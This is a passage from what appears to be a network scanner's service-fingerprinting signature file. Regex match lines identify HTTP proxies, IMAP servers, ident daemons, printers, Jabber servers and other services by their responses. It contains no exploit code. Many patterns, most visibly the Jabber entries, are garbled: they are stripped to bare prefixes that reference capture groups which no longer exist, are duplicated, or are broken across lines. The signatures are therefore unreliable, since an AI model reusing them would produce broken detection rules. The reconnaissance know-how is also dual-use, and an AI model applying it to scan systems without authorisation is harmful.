          \n\n| p/Cyberoam UTM http proxy/ match http-proxy m|^HTTP/1\.1 504 Gateway Timeout\r\nContent-Length: 15\r\nContent-Type: text/plain;\r\n\r\nZAP Error: null| p/OWASP Zed Attack Proxy/ match http-proxy m|^HTTP/1\.1 502 Bad Gateway\r\nContent-Length: \d+\r\nContent-Type: text/plain; charset=UTF-8\r\n\r\nZAP Error \[java\.net\.UnknownHostException\]: null| p/OWASP Zed Attack Proxy/ match http-proxy m|^HTTP/1\.0 502\r\nContent-type: text/html\r\nContent-length: \d+\r\nproxy-Connection: close\r\n\r\n\r\n\r\n\tSpybot - Connection refused\r\n| p/Spybot Search & Destroy/ o/Windows/ cpe:/a:safer-networking:spybot_search_and_destroy/ cpe:/o:microsoft:windows/a match http-proxy m|^HTTP/1\.1 407 Proxy Authentication Required\r\nContent-Length: 36\r\nContent-Type: text/html; charset=UTF-8\r\naw-error-code: 1\r\n\r\nMissing \[Proxy-Authorization\] header| p/AirWatch Mobile Access Gateway/ d/proxy server/ cpe:/a:airwatch:mobile_access_gateway/ match http-proxy m|^HTTP/1\.1 407 Proxy Authentication Required\r\naw-error-code: 1\r\n\r\n$| p/AirWatch Mobile Access Gateway/ d/proxy server/ cpe:/a:airwatch:mobile_access_gateway/ match http-proxy m|^HTTP/1\.0 404 Not Found\r\nServer: Traffic Manager ([\w._-]+)\r\nDate: .*\r\nCache-Control: no-store\r\nPragma: no-cache\r\nContent-type: application/x-ns-proxy-autoconfig\r\n| p/Apache Traffic Server/ v/$1/ d/proxy server/ cpe:/a:apache:traffic_server:$1/ # version 10.2.4 match http-proxy m|^HTTP/1\.1 200 OK\r\nCache-Control: no-cache\r\nConnection: close\r\nPragma: no-cache\r\nContent-Length: \d+\r\n\r\nRequest RejectedThe requested URL was rejected\. Please consult with your administrator\.

          Your support ID is: \d+| p/F5 BIG-IP Application Security Module/ d/load balancer/ match http-proxy m|^HTTP/1\.0 \d\d\d .*\r\nMime-Version: 1\.0\r\nDate: .*\r\nVia: 1\.0 ([\w.-]+):\d+ \(Cisco-WSA/([\w._-]+)\)\r\n| p/Cisco Web Security Appliance/ i/Gateway Timeout/ o/AsyncOS $2/ h/$1/ cpe:/o:cisco:asyncos:$2/ match http-proxy m|^HTTP/1\.1 \d\d\d [^\r\n]+\r\nDate: [^\r\n]+\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nContent-Type: text/html; charset="UTF-8"\r\nContent-Length: \d+\r\nAccept-Ranges: none\r\nConnection: close\r\n\r\n.*href="http://passthrough\.fw-notify\.net/|s p/Sophos UTM http proxy/ d/security-misc/ cpe:/a:sophos:unified_threat_management/ match http-proxy m|^HTTP/1\.1 302 Found\r\nDate: .*\r\nServer: xxxx\r\nLocation: http:///httpclient\.html\r\nContent-Length: \d+\r\nConnection: close\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\n| p/Cyberoam captive portal/ match http-proxy m|^HTTP/1\.1 403 No Protocol\r\nX-Hola-Error: No Protocol\r\nDate: .*\r\nConnection: close\r\n\r\n$| p/Hola VPN http-proxy/ cpe:/a:hola:hola/ match http-proxy m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Traffic Inspector HTTP/FTP/Proxy server \(([\d.]+)\)\r\n|s p/Traffic Inspector http proxy/ v/$1/ o/Windows/ cpe:/a:smart-soft:traffic_inspector:$1/ cpe:/o:microsoft:windows/a match http-proxy m|^HTTP/1\.1 404 Not Found\r\nServer: Sucuri/Cloudproxy\r\nDate: .* GMT\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nConnection: close\r\nETag: "[a-f\d-]+"\r\n\r\n\n\n\n\n| p/Sucuri CloudProxy/ match http-proxy m|^HTTP/1\.0 30[12] .*\r\nLocation: https?:///[^\r\n]*\r\nServer: LBaaS\r\n| p/OpenStack Neutron LBaaS load balancer/ cpe:/a:openstack:neutron-lbaas/ match http-proxy m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nContent-Length: \d+\r\nEtag: "[a-f\d]{40}"\r\nContent-Type: text/html; charset=UTF-8\r\nServer: Protegrity Cloud Gateway ([\d.]+)\r\n\r\nProtegrity Cloud Gateway ([\w._-]+)
          | p/Protegrity Cloud Gateway/ v/$1/ h/$2/ cpe:/a:protegrity:cloud_gateway:$1/ match http-proxy m|^HTTP/1\.1 502 Bad Gateway\r\n(?:[^\r\n]+\r\n)*?\r\n\r\n\r\n502 Bad Gateway\r\n\r\n

          502 Bad Gateway

          \r\n

          The proxy server received an invalid response from an upstream server\. Sorry for the inconvenience\.
          \r\nPlease report this message and include the following information to us\.
          \r\nThank you very much!

          \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
          URL:[^<]*
          Server:([^<]+)
          Date:[^<]+
          \r\n
          Powered by Tengine\r\n\r\n$|s p/Tengine http proxy/ h/$1/ cpe:/a:alibaba:tengine/ match http-proxy m|^HTTP/1\.0 404 Not Found\r\nServer: BigIP\r\nConnection: close\r\n| p/F5 BIG-IP load balancer/ d/load balancer/ match http-proxy m|^HTTP/1\.0 503 Service Unavailable\r\nContent-Type: text/html\r\nContent-Length: 5\d\r\nExpires: now\r\nPragma: no-cache\r\nCache-control: no-cache,no-store\r\n\r\nThe service is not available\. Please try again later\.| p/Pound http reverse proxy/ cpe:/a:apsis:pound/ match http-proxy m|^HTTP/1\.0 302 Found\r\nLocation: .*\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\nRedirect

          Redirect

          You should go to here

          | p/Pound http reverse proxy/ cpe:/a:apsis:pound/ match http-proxy m|^HTTP/1\.0 501 Not Implemented\r\nContent-Type: text/html\r\nContent-Length: 2\d\r\nExpires: now\r\nPragma: no-cache\r\nCache-control: no-cache,no-store\r\n\r\nThis method may not be used\.| p/Pound http reverse proxy/ cpe:/a:apsis:pound/ match http-proxy m|^HTTP/1\.0 403 Forbidden\r\nConnection: close\r\nContent-Length: 51\r\nContent-type: text/html\r\n\r\nAccess denied: authentication configuration missing| p/Smoothwall http proxy/ d/firewall/ cpe:/o:smoothwall:smoothwall/ match http-proxy m|^HTTP/1\.1 407 Proxy Authentication Required\r\nProxy-Authenticate: Basic realm="Hola Unblocker"\r\nDate: .*\r\nConnection: close\r\n\r\n| p/Hola Unblocker http proxy/ match http-proxy m|^HTTP/1\.1 400 Bad Request\r\nContent-Length: 21\r\nContent-Type: text/html; charset=utf-8\r\nVia: 1\.1 ([\w.-]+)\r\nDate: .*\r\n\r\nBad Request to URI: /| p/LittleProxy http proxy/ h/$1/ cpe:/a:adamfisk:littleproxy/ match http-proxy m|^HTTP/1\.0 200 OK\r\n\r\n$| p/sslstrip/ # No info on what this is yet softmatch http-proxy m|^HTTP/1\.1 400 Bad request\r\nContent-Length: 53\r\nContent-Type: text/html\r\n\r\nCan't do transparent proxying without a Host: header\.| softmatch http-proxy m|^HTTP/1.[01] 407 | i/proxy authentication required/ softmatch http-proxy m|^HTTP/1.[01] 502 | i/bad gateway/ match hnap m|^HTTP/1\.[01] *200 OK.*\r\n\r\n<\?xml.*([^<]+).*<(?:\w+:)?VendorName>([^<]+).*<(?:\w+:)?ModelName>([^<]+).*<(?:\w+:)?FirmwareVersion>([^<]+)|s p/$2 HNAP/ v/$4/ i/device: $1; model: $3/ # http://www.everyhue.com/vanilla/discussion/112/other-open-ports-on-the-bridge/p1 match hue-link m|^GET HTTP1\.0\n\n$| p|Philips Hue link/debug| # http://foolscap.lothar.com/ match foolscap m|^HTTP/1\.1 500 Internal Server Error: internal server error, see logs\r\n\r\n| p/foolscap RPC/ match icontrolav2 m|^E04\r\n$| p/Pioneer iControlAV2 control port/ d/media device/ # Also "Zimbra Network edition 6.0 IMAP server." match imap-proxy m|^\* OK IMAP4 ready\r\nGET BAD invalid command\r\n| p/nginx imap proxy/ match imap-proxy m|^\* OK IMAP4rev1 proxy server ready\r\nGET BAD invalid command\r\n| p/Zimbra imapd/ match magent m|^Agent Ready\.\.\.\r\n| p/MicroWorld mwagent.exe/ o/Windows/ cpe:/o:microsoft:windows/a match magent m|^Agent Ready\.\.\.\r\nGET / HTTP/1\.0\r\n\r\nGET 501 command not implemented ERROR\r\n| p/MicroWorld mwagent.exe/ o/Windows/ cpe:/o:microsoft:windows/a match magent m|^Agent Ready v([\w._]+)+\.\.\.(?:\[[\w._-]+\])\r\nGET / HTTP/1\.0 501 command not implemented ERROR\r\n 501 command not implemented ERROR\r\n| p/MicroWorld mwagent.exe/ v/$1/ i/eScan antivirus management console/ o/Windows/ cpe:/o:microsoft:windows/a match mapreduce m|name:\x20mapreduce\r\nversion:\x20(.+)\r\n\r\n| p/Hadoop MapReduce/ v/$1/ cpe:/a:hadoop:mapreduce:$1/ match mas-financial m|^409 Invalid Protocol PVXAS/1\.0\r\n| p/MAS200 Financial System/ o/Windows/ cpe:/o:microsoft:windows/a match mas-financial m|^The Host cannot run the specified program\.$| p/MAS200 Financial System/ o/Windows/ cpe:/o:microsoft:windows/a match mep m|^\x10\0\0\0\xa5\xa5\0\0.\0`\x01\0\0\0\0|s p/Citrix NetScaler Metric Exchange Protocol/ d/load balancer/ # Expect MassTransit will also match with some variation. match mtap m|^WATSON!WATSON!\x13Tx\xa3\xfee\xc0\x9b\0\0\0\x01\0\0\0\0\0\0\0\0\0v\0\0\0\0\x84\x84\0\x02\0\x13\0\xd9\0\0\0\x16\x13Virtual Network ([\d.]+)\0| p/Adobe Virtual Network/ v/$1/ cpe:/a:adobe:virtual_network:$1/ # Another implementation (Bukkit?) with the same matchline doesn't respond to GetRequest. match minecraft m|^\xff\0\x0e\0P\0r\0o\0t\0o\0c\0o\0l\0 \0e\0r\0r\0o\0r$| p/Spigot Minecraft game server/ # http://www.mobilemouse.com/ match mobilemouse m|^HTTP/1\.0 200 OK \r\nServer: Mobile Air Mouse Server\r\n.*>The Mobile Air Mouse server running on \"([\w._-]+)\"|s p/Mobile Air Mouse server/ h/$1/ # https://en.wikipedia.org/wiki/Modbus match modbus m|^GET [\0/]\x03H\xd4[\x01-\x03]| p/Modbus TCP/ match modbus m|^GET [\0/]\x03H\xd4[\x0a-\x0b]| p/Modbus TCP/ i/gateway/ match modbus m|^GE\0\0\0\x03H\xd4[\x01-\x03]| p/Modbus TCP/ match modbus m|^GE\0\0\0\x03H\xd4[\x0a-\x0b]| p/Modbus TCP/ i/gateway/ # In 2.5.1, the HTTP server was disabled by default softmatch mongodb m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nContent-Type: text/plain\r\nContent-Length: 116\r\n\r\nYou are trying to access MongoDB on the native driver port\. For http diagnostic access, add 1000 to the port number\n| p/MongoDB/ v/2.5.0 or earlier/ cpe:/a:mongodb:mongodb/ softmatch mongodb m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nContent-Type: text/plain\r\nContent-Length: 84\r\n\r\nIt looks like you are trying to access MongoDB over HTTP on the native driver port\.\n| p/MongoDB/ v/2.5.1 or later/ cpe:/a:mongodb:mongodb/ match motorola-devmgr m|^GET / HT\xff\xff\xff\xff$| p/Motorola Device Manager/ cpe:/a:motorola:device_manager/ match mrtgext-nlm m|^-1\n-1\n-1\n$| p/Novell NetWare MRTGEXT NLM Statistics/ o/NetWare/ cpe:/o:novell:netware/a match msn m|^{?Syntax Error : GET / HTTP/1\.0}? error\r\n$| p/amsn/ match msn m|^{?Erreur de syntaxe : GET / HTTP/1\.0}? error\r\n$| p/amsn/ i/French/ match msn m|^{? ?Erro de sintaxe : GET / HTTP/1\.0}? error\r\n$| p/amsn/ i/Portugese/ match msn m|^{?Errore di sintassi : GET / HTTP/1\.0}? error\r\n$| p/amsn/ i/Italian/ # http://www.icbevr.com/ibank/ibank2/ # byte 8 is a counter, so \x18 in byte 7 may also increment? match ibank2 m|^\x02\0\0\x01E\(\x18.{25}$| match icap m|^ICAP/1\.0 501 Method not implemented.*\r\nServer: IronNet/([\d.]+)\r\n\r\n|s p/IronNet Compliance Application/ v/$1/ match icap m|^ICAP/1\.0 501 Method not implemented.*\r\nService: ProxyAV AV scanner ([^\r\n]+)\r\n|s p/Blue Coat ProxyAV/ v/$1/ match icap m|^ICAP/1\.0 501 Other\r\nServer: Traffic Spicer ([\d.]+)\r\n| p/Traffic Spicer icapd/ v/$1/ match icap m|^ICAP/1\.0 501 Method not implemented\r\nConnection: close\r\n\r\n$| p/Symantec DLP Web Prevent icapd/ match icap m|^ICAP/1\.0 400 Bad request\r\nServer: C-ICAP/([\w._-]+)\r\nConnection: close\r\n\r\n$| p/C-ICAP/ v/$1/ softmatch icap m|^ICAP/1\.0 \d\d\d | # gidentd 0.4.5 on Linux 2.4.X match ident m|^0, 0 : ERROR : INVALID-PORT\r\n$| p/gidentd/ match ident m|^GET / HTTP/1\.0 : USERID : UNIX : ([-.\w]+)\r\n : USERID : UNIX : [-.\w]+\r\n| p/Nullidentd/ i/Claimed user: $1/ match ident m|^GET / HTTP/1\.0 : USERID : UNIX : ([-.\w]+)\r\n$| p/Liedentd/ i/Claimed user: $1/ # pidentd 2.81 match ident m|^0 , 0 : ERROR : X-INVALID-REQUEST\r\n$| p/pidentd/ # pidentd 3.1a25 on Linux 2.4.20 (SuSE 8.2) match ident m|^GET : ERROR : UNKNOWN-ERROR\r\n$| p/pidentd/ match ident m|^0, 0 : ERROR : INVALID-AUTH-REQ-INFO : CAPABILITY=USER-INTERACTION : AUTH-MECH=KEBEROS_V4\r\n$| p/Stanford PC-leland identd/ # fair-identd-20000201 # pidentd-2.8.5-3 match ident m|^0 , 0 : ERROR : UNKNOWN-ERROR\r\n$| p/pidentd/ i/could be fair-identd/ # identd 1.1 on Linux 2.4.21 # linux-identd 1.2 - http://www.fukt.bth.se/~per/identd match ident m|^GET / HTTP/1\.0 : ERROR : INVALID-PORT\r\n : ERROR : INVALID-PORT\r\n$| p/Linux-identd/ o/Linux/ cpe:/o:linux:linux_kernel/a # HP-UX ident match ident m|^0 , 0 : ERROR : INVALID-PORT\r\n| p/HP-UX identd/ o/HP-UX/ cpe:/o:hp:hp-ux/a match ident m|^GET / HTTP/1\.0 : USERID : UNIX : [^\r\n]+\r\n| p/KVIrc fake identd/ # uw-imap 2003debian0.0304182231-1 match imap m|^\* OK \[CAPABILITY IMAP4REV1 X-NETSCAPE LOGIN-REFERRALS STARTTLS LOGINDISABLED\] \[[-.\w]+\] IMAP4rev1 200[-.\w]+ at .*\r\nGET BAD Command unrecognized/login please: /\r\n\* BAD Null command\r\n| p/UW imapd/ cpe:/a:uw:imap_toolkit/ match imap m|^\* OK \[[-.+\w]+\] IMAP4rev1 v1(\d[-.\w]+) server ready\r\n| p/UW imapd/ v/1$1/ cpe:/a:uw:imap_toolkit:1$1/ match imap m|^\* OK ([-.+\w]+) IMAP4rev1 v1(\d[-.\w]+) server ready\r\n| p/UW imapd/ v/1$2/ h/$1/ cpe:/a:uw:imap_toolkit:1$2/ # gnu/mailutils imap4d 0.3.2 on Linux match imap m|^\* OK IMAP4rev1\r\nGET BAD Invalid command\r\n\* BAD Null command\r\n$| p/GNU Mailutils imapd/ cpe:/a:gnu:mailutils/ # Cyrus IMAP 2.1.14 match ssl/imap m|^\* BYE Fatal error: tls_start_servertls\(\) failed\r\n$| p/Cyrus imapd/ cpe:/a:cmu:cyrus_imap_server/ match imap m|^\* OK ([-\w_.]+)\r\nGET BAD Error in IMAP command received by server\.\r\n\* BAD Error in IMAP command received by server\.\r\n| p/Dovecot imapd/ h/$1/ cpe:/a:dovecot:dovecot/ match imap m|^\* OK .*\r\nGET BAD Error in IMAP command received by server\.\r\n\* BAD Error in IMAP command received by server\.\r\n| p/Dovecot imapd/ cpe:/a:dovecot:dovecot/ # Too general -- also matches Cyrus imapd 2.3.9. # match imap m|^\* OK .*\r\nGET BAD Please login first\r\n| p/Dovecot imapd/ i/auth required/ cpe:/a:dovecot:dovecot/ match imap m|^\* OK IMAP4 IMAP4rev1 Server\r\nGET BAD Unrecognised Command\r\n| p/Floosietek FTgate imapd/ match imap m|^\* OK IMAP4r1 server \[([-\w_.]+)\] ready\r\nGET BAD Protocol Error: \"Unidentifiable command specified\"\.\r\n\* BAD Protocol Error: \"Tag not found in command\"\.\r\n| p/Microsoft Exchange imapd/ i/Version masked/ o/Windows/ h/$1/ cpe:/a:microsoft:exchange_server/ cpe:/o:microsoft:windows/a match imap m|^\* OK IMAP4rev1 server ready at \d\d/\d\d/\d\d \d?\d:\d\d:\d\d\r\nGET BAD UNKNOWN Command\r\n\r\n BAD UNKNOWN Command\r\n| p/MailEnable imapd/ o/Windows/ cpe:/a:mailenable:mailenable/ cpe:/o:microsoft:windows/a match imap m|^\* OK IMAP4rev1 server ready\r\nGET BAD Unknown command '/'\r\n BAD Unknown command ''\r\n| p/Kerio imapd/ match imap m|^\* OK Gimap ready for requests from [\d\.]+ ([\w\d]+)| p/Google Gmail imapd/ i/$1/ match imap m|^\* OK .*IMAP4rev1 Server Completed\r\nGET BAD Protocol Error: Invalid IMAP command specified\r\n| p/Cisco imapd/ # embyte match imap m|^\* OK MailSite IMAP4 Server ([-.\w]+) ready| p/MailSite imapd/ v/$1/ match imap m|^\* OK ([\w._-]+) Welcome \(cimap\)\r\nGET BAD Invalid command \(/\)\r\n\* BAD - command line Insufficient tokens \(\)\r\n| p/SurgeMail imapd/ h/$1/ cpe:/a:netwin:surgemail/ match imap m|^GET NO Error in IMAP command received by server\.\r\n| p/cPanel Courier imapd/ match imap m|^\* OK .*\r\nGET BAD Unknown or NULL command\r\n BAD NULL COMMAND\r\n| p/hMailServer imapd/ o/Windows/ cpe:/o:microsoft:windows/a match imap m|^\* OK ([\w._-]+)\r\nGET BAD Unknown or NULL command\r\n BAD NULL COMMAND\r\n| p/hMailServer imapd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match imap m|^\* OK \[CAPABILITY IMAP4rev1 [^]]*\]\r\nGET NO Error in IMAP command received by server\.\r\n\* NO Error in IMAP command received by server\.\r\n| p/Plesk Courier imapd/ match imap m|^\* OK \[CAPABILITY IMAP4rev1 [^]]*\] ([\w.-]+) server ready\r\nGET BAD Please login first\r\n\* BAD Invalid tag\r\n| p/Cyrus imapd/ h/$1/ cpe:/a:cmu:cyrus_imap_server/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: application/xml; charset=utf-8\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\"\?>$| p/InterSystems Cache httpd/ match intermec-bri m|^ERR UNAVAILABLE\r\nOK>\r\nOK>\r\n| p/Intermec Basic Reader Interface/ # Server: CUPS/1.1 match ipp m|^HTTP/1\.0 \d\d\d .*Home - CUPS ([\d.]+).*SUMMARY=\"Common UNIX Printing System|s p/CUPS/ v/$1/ cpe:/a:apple:cups:$1/ match ipp m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: CUPS/([-\w_.]+)|s p/CUPS/ v/$1/ cpe:/a:apple:cups:$1/ match ipp m|^lpd \[@[-.\w]+\]: Host name for your address \([:.\d]+\) is not known\n$| p/CUPS/ cpe:/a:apple:cups/ match ipp m|^HTTP/1\.0 \d\d\d .*\r\nDate: .*\r\nServer: EPSON-IPP/([\d.]+)\r\nContent-Type: application/ipp\r\nContent-Length: \d+\r\n\r\n| p/Epson ippd/ v/$1/ d/print server/ match ipp m|^HTTP/1\.1 411 Length Required\r\nSERVER: EpsonNet IPP-SERVER/([\w._-]+)\r\nCONTENT-LENGTH: 0\r\n\r\n| p/Epson ippd/ v/$1/ i/AL-C2800 printer/ d/printer/ match ipp m|^HTTP/1\.0 404 Not Found\r\nCache-Control: no-cache\r\nDate: .*\r\nPragma: no-cache\r\nContent-Type: text/html\r\nContent-Length: 91\r\nServer: Web-Server/([\d.]+)\r\n\r\n404 Not Found\n

          404 Not Found

          \0| p/Web-Server httpd/ v/$1/ i/NRG copier or Ricoh Aficio printer http config/ d/printer/ match ipp m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 89\r\nServer: Web-Server/([\d.]+)\r\n\r\n404 Not Found

          404 Not Found

          $| p/Web-Server httpd/ v/$1/ i/NRG copier or Ricoh Aficio printer http config/ d/printer/ match ipp m|^HTTP/1\.1 \d\d\d .*\r\nDate: .*\r\nServer: CANON HTTP Server Ver(\d[-.\w ]+)\r\n| p/Canon printer http config/ v/$1/ match ipp m|^HTTP/1\.1 \d\d\d .*\r\nDate: .*\r\nServer: Canon Http Server (\d[-.\w ]+)\r\n| p/Canon printer http config/ v/$1/ match ipp m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n\r\n\r\nIBM Infoprint Color (\d+)| p/IBM Infoprint Color $1 ippd/ d/printer/ cpe:/h:ibm:infoprint_color_$1/ match ipp m|^HTTP/1\.1 301 Moved Permanently\r\nServer: Virata-EmWeb/R([\w_]+)\r\nLocation: https://[\d.]+/\r\nContent-Type: text/html\r\nContent-Length: 90\r\n\r\nMoved\r\n| p/Virata-EmWeb/ v/$SUBST(1,"_",".")/ i/HP Laserjet 4200TN http config/ d/printer/ cpe:/a:virata:emweb:$SUBST(1,"_",".")/a cpe:/h:hp:laserjet_4200tn/a match ipp m|^HTTP/1\.0 \d\d\d .*\r\nContent-Type: text/html\r\n\r\n\r\nDell Laser Printer 1700n| p/Dell Laser Printer 1700n ippd/ d/printer/ cpe:/h:dell:1700n/ match ipp m|^HTTP/1\.0 \d\d\d .*Common UNIX Printing System.*HREF=\"http://www\.easysw\.com\" ALT=\"Easy Software Products Home Page\">\n|s p/Easy Software Products CUPS/ match ipp m|^Not Found

          Not Found

          The requested URL \"\"was not found on this server\.\r\n| p/Epson 980N Printer/ d/printer/ cpe:/h:epson:980n/a match ipp m|^HTTP/1\.0 400 Bad Request\r\nConnection: close\r\nContent-Type: text/html\r\n(?:; charset=utf-8)?\r\nContent-Length: \d+\r\nCache-Control: (?:max-age=0, no-store, )?no-cache\r\n\r\n\n\n\nInvalid Request\n\n\n\n

          \n\n\nInvalid Request\. Some Error\n\n\n\n\n| p/Xerox or Samsung ipp/ d/printer/ match ipp m|^HTTP/1\.0 404 Not found\r\n\r\n404 Not found$| p/Xerox WorkCentre IPP/ d/printer/ match ipp m|^HTTP/1\.0 404 Not Found\r\nDate: .*\r\nContent-Language: C\r\nUpgrade: TLS/1\.0,HTTP/1\.1\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 138\r\n\r\n404 Not Found

          Not Found

          The requested resource was not found on this server\.\n| p/Thecus N5200 IPP/ d/storage-misc/ cpe:/h:thecus:n5200_nas_server/ match ipp m|^HTTP/1\.1 200 OK\r\nPragma: no-cache\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n

          For more printserver info please open the [\d.]+ home page$| p/Kyocera Mita KM-1530 IPP/ d/printer/ cpe:/h:kyocera:mita_km-1530/ match ipp m|^HTTP/1\.0 405 Method Not Allowed\r\nContent-Type: text/html\r\nCache-Control: public,max-age=86400\r\nPragma: cache\r\nExpires: .*\r\nDate: .*\r\nLast-Modified: .*\r\nAccept-Ranges: bytes\r\nConnection: close\r\n\r\n| p/Netia Spot ipp/ d/broadband router/ match ipp m|^HTTP/1\.0 200 OK\r\nContent-Type: text/plain; charset=UTF-8\r\n\r\nreturn_code=FCS9015\?error_text=This server does not support this API\.| p/PrinterOn Print Delivery Gateway ipp/ cpe:/a:printeron:print_delivery_gateway/ # Fuji Xerox DocuCentre-V C4475 T2 match ipp m|^HTTP/1\.0 301 Moved Permanently\r\nDate: .*\r\nPragma: no-cache\r\nLocation: http:///\r\nContent-Length: 109\r\nContent-Type: text/html\r\n\r\n301 Moved Permanently\t\t

          301 Moved Permanently

          \r\n| p/Fuji Xerox DocuCentre-V ipp/ d/printer/ match ipp m|^HTTP/1\.1 403 Forbidden\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 89\r\nServer: Web-Server/3\.0\r\n\r\n403 Forbidden

          403 Forbidden

          | p/Ricoh Aficio printer ipp/ d/printer/ match ipp m|^HTTP/1\.1 400 Bad Request\r\nContent-Length: 29\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n 400 Bad Request from Browser| p/Konica Minolta BizHub C224e printer ipp/ d/printer/ cpe:/h:konicaminolta:bizhub_c224e/a match irc m|^:Default-Chat-Community 421 \* GET :Unknown command\r\n| p/Microsoft Exchange 2000 Server Chat Service/ o/Windows/ cpe:/a:microsoft:exchange_server:2000/ cpe:/o:microsoft:windows/a match irc m|^:([-\w_.]+) 451 :You have not registered your connection\r\n$| p/Wircsrv/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match irc m|^ERROR :Closing Link: \[[^]]*\] \(HTTP command from IRC connection \(ATTACK\?\)\)\r\n| p/UnrealIRCd/ cpe:/a:unrealircd:unrealircd/ match irc m|^HTTP/1\.0 400 Wrong Port\r\nServer: ConferenceRoom/IRC (\d[\w._-]+)\r\n| p/WebMaster ConferenceRoom ircd/ v/$1/ cpe:/a:webmaster:conferenceroom:$1/ match ingrian-xml m|^false101Could not parse client request| p/Ingrian NAE XML daemon/ d/security-misc/ # Jabber 1.4.2 match jabber m|^| p/Jabber instant messaging server/ i/Protocol $1/ cpe:/a:jabberd:jabberd/ match jabber m|^| p/Jabber instant messaging server/ i/Protocol $1/ cpe:/a:jabberd:jabberd/ match jabber m|^<\?xml version='1\.0'\?>| p/ejabberd/ i/Protocol $2/ h/$1/ cpe:/a:process-one:ejabberd/ match jabber m|^<\?xml version='1\.0'\?>| p/ejabberd/ i/Protocol $2/ h/$1/ cpe:/a:process-one:ejabberd/ match jabber m|^<\?xml version='1\.0'\?>| p/ejabberd/ cpe:/a:process-one:ejabberd/ match jabber m|^<\?xml version='1\.0'\?>| p/jit-transport jabber-ICQ transport/ h/$1/ match jabber m|^Invalid XML$| p/Jabber instant messaging server/ cpe:/a:jabberd:jabberd/ match jabber m|^Invalid XML$| p/Jabber instant messaging server/ cpe:/a:jabberd:jabberd/ match jabber m|^Invalid XML| p/jabberd instant messaging server/ cpe:/a:jabberd:jabberd/ match jabber m|^<\?xml version=\"1\.0\"\?>$| p/Facebook Chat XMPP/ h/$1/ match jabber m|^<\?xml version='1\.0'\?>$| p/Prosody Jabber server/ v/0.7.0 or older/ cpe:/a:prosody:prosody/ match jabber m|^<\?xml version='1\.0'\?>$| p/Prosody Jabber client/ v/0.7.0 or older/ cpe:/a:prosody:prosody/ # 0.8.0 changed "xml-not-well-formed" to "not-well-formed" match jabber m|^<\?xml version='1\.0'\?>$| p/Prosody Jabber server/ v/0.8.0 or newer/ cpe:/a:prosody:prosody/ match jabber m|^<\?xml version='1\.0'\?>$| p/Prosody Jabber client/ v/0.8.0 or newer/ cpe:/a:prosody:prosody/ match jabber m|^<\?xml version='1\.0'\?>$| p/Prosody Jabber client/ v/0.8.0 or newer/ cpe:/a:prosody:prosody/ match jabber m|^<\?xml version='1\.0'\?>$| p/Prosody Jabber server/ v/0.8.0 or newer/ cpe:/a:prosody:prosody/ match jabber m|^<\?xml version='1\.0'\?>| p/Prosody Jabber server/ cpe:/a:prosody:prosody/ # 0.10 match jabber m|^<\?xml version='1\.0'\?>| p/Prosody Jabber server/ cpe:/a:prosody:prosody/ # empty id removed match jabber m|^<\?xml version='1\.0'\?>| p/Prosody Jabber client/ cpe:/a:prosody:prosody/ match jabber m|^<\?xml version='1\.0'\?>| p/Prosody Jabber server/ cpe:/a:prosody:prosody/ # empty from and to attributes added # 0.9.8 match jabber m|^<\?xml version='1\.0'\?>| p/Prosody Jabber server/ i/dialback/ cpe:/a:prosody:prosody/ match jabber m|^<\?xml version='1\.0'\?>| p/Prosody Jabber server/ i/dialback/ cpe:/a:prosody:prosody/ match jabber m|^<\?xml version='1\.0'\?>| p/Isode M-Link Jabber client/ cpe:/a:isode:m-link/ match jabber m|^<\?xml version='1\.0'\?>| p/Isode M-Link Jabber server/ cpe:/a:isode:m-link/ match jabber m|^<\?xml version='1\.0' encoding='UTF-8'\?>\n\n$| p/Empathy Jabber client/ match jabber m|^<\?xml version='1\.0'\?>| p/MongooseIM/ cpe:/a:erlang-solutions:mongooseim/ match james-admin m|^JAMES Remote Administration Tool ([\d.]+)\nPlease enter your login and password\nLogin id:\n| p/JAMES Remote Admin/ v/$1/ match jicp m|^d\x08\x1c\0\0\0Uncorrect JICP data type: 71$| p/Jade Inter Container Protocol/ match olsrd-jsoninfo m|^{\n\"links\": \[[^]]*\]\n,\n\t\"neighbors\": \[[^]]*\]\n,\n\t| p/olsrd jsoninfo plugin/ match jxta m|^JXTAHELLO tcp://[\d.]+:\d+ tcp://[\d.]+:\d+ | p/JXTA P2P Collaboration daemon/ match kazaa-http m|^HTTP/1\.1 \d\d\d .*\r\nServer: giFT-FastTrack ([\d.]+)\r\nX-Kazaa-Username: giFTed\r\nX-Kazaa-Network: ([-.\w]+)\r\n| p/giFTed FastTrack P2P client/ v/$1/ i/network: $2/ match kazaa-http m|^HTTP/1\.1 \d\d\d .*\r\nServer: giFT-FastTrack ([\d.]+)\r\nX-Kazaa-Username: www\.k-lite\.com\.br\r\nX-Kazaa-Network: ([-.\w]+)\r\n| p/K-Lite FastTrack P2P client/ v/$1/ i/network: $2/ match kazaa-http m|^HTTP/1\.0 404 Not Found\r?\nX-Kazaa-Username: (\S+)\r\nX-Kazaa-Network: ([-.\w]+)\r\n| p/KaZaA P2P client/ i/username: $1; network: $2/ match kazaa-http m|^HTTP/1\.[01] 404 Not Found\r?\nServer: giFT-FastTrack ([\d.]+)\r\nX-Kazaa-Username: (\S+)\r\nX-Kazaa-Network: ([-.\w]+)\r\n| p/KaZaA P2P client/ v/$1/ i/username: $2; network: $3/ match kazaa-peerpoint m|^HTTP/1\.0 404 Not Found\n\r\n$| p/KaZaA P2P client Peer Point Manager/ match 